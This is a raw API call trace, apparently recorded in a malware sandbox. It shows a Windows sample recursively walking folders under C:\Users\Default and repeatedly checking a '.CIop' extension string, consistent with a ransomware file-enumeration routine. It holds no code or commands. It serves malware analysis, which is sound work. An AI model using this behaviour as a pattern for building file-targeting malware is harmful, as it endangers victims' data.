lpString1="C:\\Users\\Default\\Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\*.*") returned="C:\\Users\\Default\\Documents\\*.*" [0148.777] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.778] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents") returned="Documents" [0148.778] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0148.778] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0148.778] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0148.778] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0148.778] SetErrorMode (uMode=0x1) returned 0x1 [0148.778] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0148.778] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0148.778] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Music\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\") returned="C:\\Users\\Default\\Documents\\My Music\\" [0148.778] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0148.778] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.778] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0148.778] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0148.778] lstrlenW (lpString=".CIop") returned 5 [0148.778] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.778] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.778] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.778] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Music" | out: lpString1="C:\\Users\\Default\\Documents\\My Music") returned="C:\\Users\\Default\\Documents\\My Music" [0148.778] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Music\\*.*") returned="C:\\Users\\Default\\Documents\\My Music\\*.*" [0148.778] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Music\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.778] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Music") returned="My Music" [0148.778] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Music" | out: lpString1="My Music") returned="My Music" [0148.778] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0148.779] SetErrorMode (uMode=0x1) returned 0x1 [0148.779] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0148.779] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Pictures\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\") returned="C:\\Users\\Default\\Documents\\My Pictures\\" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0148.779] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.779] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0148.779] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0148.779] lstrlenW (lpString=".CIop") returned 5 [0148.779] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.779] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.779] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.779] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures") returned="C:\\Users\\Default\\Documents\\My Pictures" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Pictures", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Pictures\\*.*") returned="C:\\Users\\Default\\Documents\\My Pictures\\*.*" [0148.779] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Pictures\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.779] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Pictures") returned="My Pictures" [0148.779] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Pictures" | out: lpString1="My Pictures") returned="My Pictures" [0148.779] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\Default\\Documents" | out: lpString1="C:\\Users\\Default\\Documents") returned="C:\\Users\\Default\\Documents" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\") returned="C:\\Users\\Default\\Documents\\" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\", lpString2="My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0148.779] SetErrorMode (uMode=0x1) returned 0x1 [0148.779] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0148.779] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\Default\\Documents\\My Videos\\" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\") returned="C:\\Users\\Default\\Documents\\My Videos\\" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0148.779] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.779] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0148.779] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0148.779] lstrlenW (lpString=".CIop") returned 5 [0148.779] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0148.779] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.779] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0148.779] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos") returned="C:\\Users\\Default\\Documents\\My Videos" [0148.779] lstrcatW (in: lpString1="C:\\Users\\Default\\Documents\\My Videos", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Documents\\My Videos\\*.*") returned="C:\\Users\\Default\\Documents\\My Videos\\*.*" [0148.780] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Documents\\My Videos\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0xffffffff [0148.780] PathFindFileNameW (pszPath="C:\\Users\\Default\\Documents\\My Videos") returned="My Videos" [0148.780] lstrcpyW (in: lpString1=0x2dc7014, lpString2="My Videos" | out: lpString1="My Videos") returned="My Videos" [0148.780] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.780] lstrcmpW (lpString1="Downloads", lpString2="..") returned 1 [0148.780] lstrcmpW (lpString1="Downloads", lpString2=".") returned 1 [0148.780] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.780] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.780] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0148.780] SetErrorMode (uMode=0x1) returned 0x1 [0148.780] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0148.780] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0148.780] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Downloads\\" | out: lpString1="C:\\Users\\Default\\Downloads\\") returned="C:\\Users\\Default\\Downloads\\" [0148.780] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0148.781] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.781] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0148.781] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0148.781] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Downloads" | out: lpString1="C:\\Users\\Default\\Downloads") returned="C:\\Users\\Default\\Downloads" [0148.781] lstrcatW (in: lpString1="C:\\Users\\Default\\Downloads", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Downloads\\*.*") returned="C:\\Users\\Default\\Downloads\\*.*" [0148.781] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Downloads\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.781] PathFindFileNameW (pszPath="C:\\Users\\Default\\Downloads") returned="Downloads" [0148.781] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads" [0148.781] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.781] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0148.781] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0148.781] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.781] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.781] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0148.781] SetErrorMode (uMode=0x1) returned 0x1 [0148.781] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0148.781] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0148.781] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Favorites\\" | out: lpString1="C:\\Users\\Default\\Favorites\\") returned="C:\\Users\\Default\\Favorites\\" [0148.781] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0148.781] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.781] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0148.781] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0148.782] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Favorites" | out: lpString1="C:\\Users\\Default\\Favorites") returned="C:\\Users\\Default\\Favorites" [0148.782] lstrcatW (in: lpString1="C:\\Users\\Default\\Favorites", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Favorites\\*.*") returned="C:\\Users\\Default\\Favorites\\*.*" [0148.782] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.782] PathFindFileNameW (pszPath="C:\\Users\\Default\\Favorites") returned="Favorites" [0148.782] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0148.782] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.782] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0148.782] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0148.782] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.782] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.782] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0148.782] SetErrorMode (uMode=0x1) returned 0x1 [0148.782] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0148.782] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0148.782] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Links\\" | out: lpString1="C:\\Users\\Default\\Links\\") returned="C:\\Users\\Default\\Links\\" [0148.782] lstrcatW (in: lpString1="C:\\Users\\Default\\Links\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0148.782] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.782] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0148.782] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0148.782] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links" [0148.783] lstrcatW (in: lpString1="C:\\Users\\Default\\Links", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Links\\*.*") returned="C:\\Users\\Default\\Links\\*.*" [0148.783] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.783] PathFindFileNameW (pszPath="C:\\Users\\Default\\Links") returned="Links" [0148.783] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Links" | out: lpString1="Links") returned="Links" [0148.783] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.783] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0148.783] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0148.783] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.783] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.783] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0148.783] SetErrorMode (uMode=0x1) returned 0x1 [0148.783] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0148.783] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0148.783] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Local Settings\\" | out: lpString1="C:\\Users\\Default\\Local Settings\\") returned="C:\\Users\\Default\\Local Settings\\" [0148.783] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0148.783] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.783] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0148.783] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0148.783] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings" [0148.783] lstrcatW (in: lpString1="C:\\Users\\Default\\Local Settings", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Local Settings\\*.*") returned="C:\\Users\\Default\\Local Settings\\*.*" [0148.783] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.783] PathFindFileNameW (pszPath="C:\\Users\\Default\\Local Settings") returned="Local Settings" [0148.783] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings" [0148.783] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.783] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.783] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0148.783] SetErrorMode (uMode=0x1) returned 0x1 [0148.784] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0148.784] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0148.784] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\Music\\" | out: lpString1="C:\\Users\\Default\\Music\\") returned="C:\\Users\\Default\\Music\\" [0148.784] lstrcatW (in: lpString1="C:\\Users\\Default\\Music\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0148.784] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.784] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0148.784] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0148.784] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music" [0148.784] lstrcatW (in: lpString1="C:\\Users\\Default\\Music", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\Music\\*.*") returned="C:\\Users\\Default\\Music\\*.*" [0148.784] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0x67e6b8 [0148.784] PathFindFileNameW (pszPath="C:\\Users\\Default\\Music") returned="Music" [0148.784] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="Music" | out: lpString1="Music") returned="Music" [0148.784] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0148.784] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0148.784] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0148.784] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.784] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.784] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0148.784] SetErrorMode (uMode=0x1) returned 0x1 [0148.784] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0148.784] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0148.784] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\My Documents\\" | out: lpString1="C:\\Users\\Default\\My Documents\\") returned="C:\\Users\\Default\\My Documents\\" [0148.784] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0148.784] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.785] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0148.785] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0148.785] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default\\My Documents", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\My Documents\\*.*") returned="C:\\Users\\Default\\My Documents\\*.*" [0148.785] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.785] PathFindFileNameW (pszPath="C:\\Users\\Default\\My Documents") returned="My Documents" [0148.785] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents" [0148.785] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0148.785] SetErrorMode (uMode=0x1) returned 0x1 [0148.785] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0148.785] lstrcpyW (in: lpString1=0x2dca258, lpString2="C:\\Users\\Default\\NetHood\\" | out: lpString1="C:\\Users\\Default\\NetHood\\") returned="C:\\Users\\Default\\NetHood\\" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood\\", lpString2="*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0148.785] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.785] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0148.785] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0148.785] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default\\NetHood", lpString2="\\*.*" | out: lpString1="C:\\Users\\Default\\NetHood\\*.*") returned="C:\\Users\\Default\\NetHood\\*.*" [0148.785] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*.*", lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 0xffffffff [0148.785] PathFindFileNameW (pszPath="C:\\Users\\Default\\NetHood") returned="NetHood" [0148.785] lstrcpyW (in: lpString1=0x2dc8c4c, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood" [0148.785] lstrcpyW (in: lpString1=0x2dcba80, lpString2="C:\\Users\\Default" | out: lpString1="C:\\Users\\Default") returned="C:\\Users\\Default" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default", lpString2="\\" | out: lpString1="C:\\Users\\Default\\") returned="C:\\Users\\Default\\" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default\\", lpString2="Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0148.785] SetErrorMode (uMode=0x1) returned 0x1 [0148.785] lstrcpyW (in: lpString1=0x2dca668, lpString2="C:\\Users\\Default\\Pictures" | out: lpString1="C:\\Users\\Default\\Pictures") returned="C:\\Users\\Default\\Pictures" [0148.785] lstrcatW (in: lpString1="C:\\Users\\Default\\Pictures", lpString2="\\" | out: lpString1="C:\\Users\\Default\\Pictures\\") 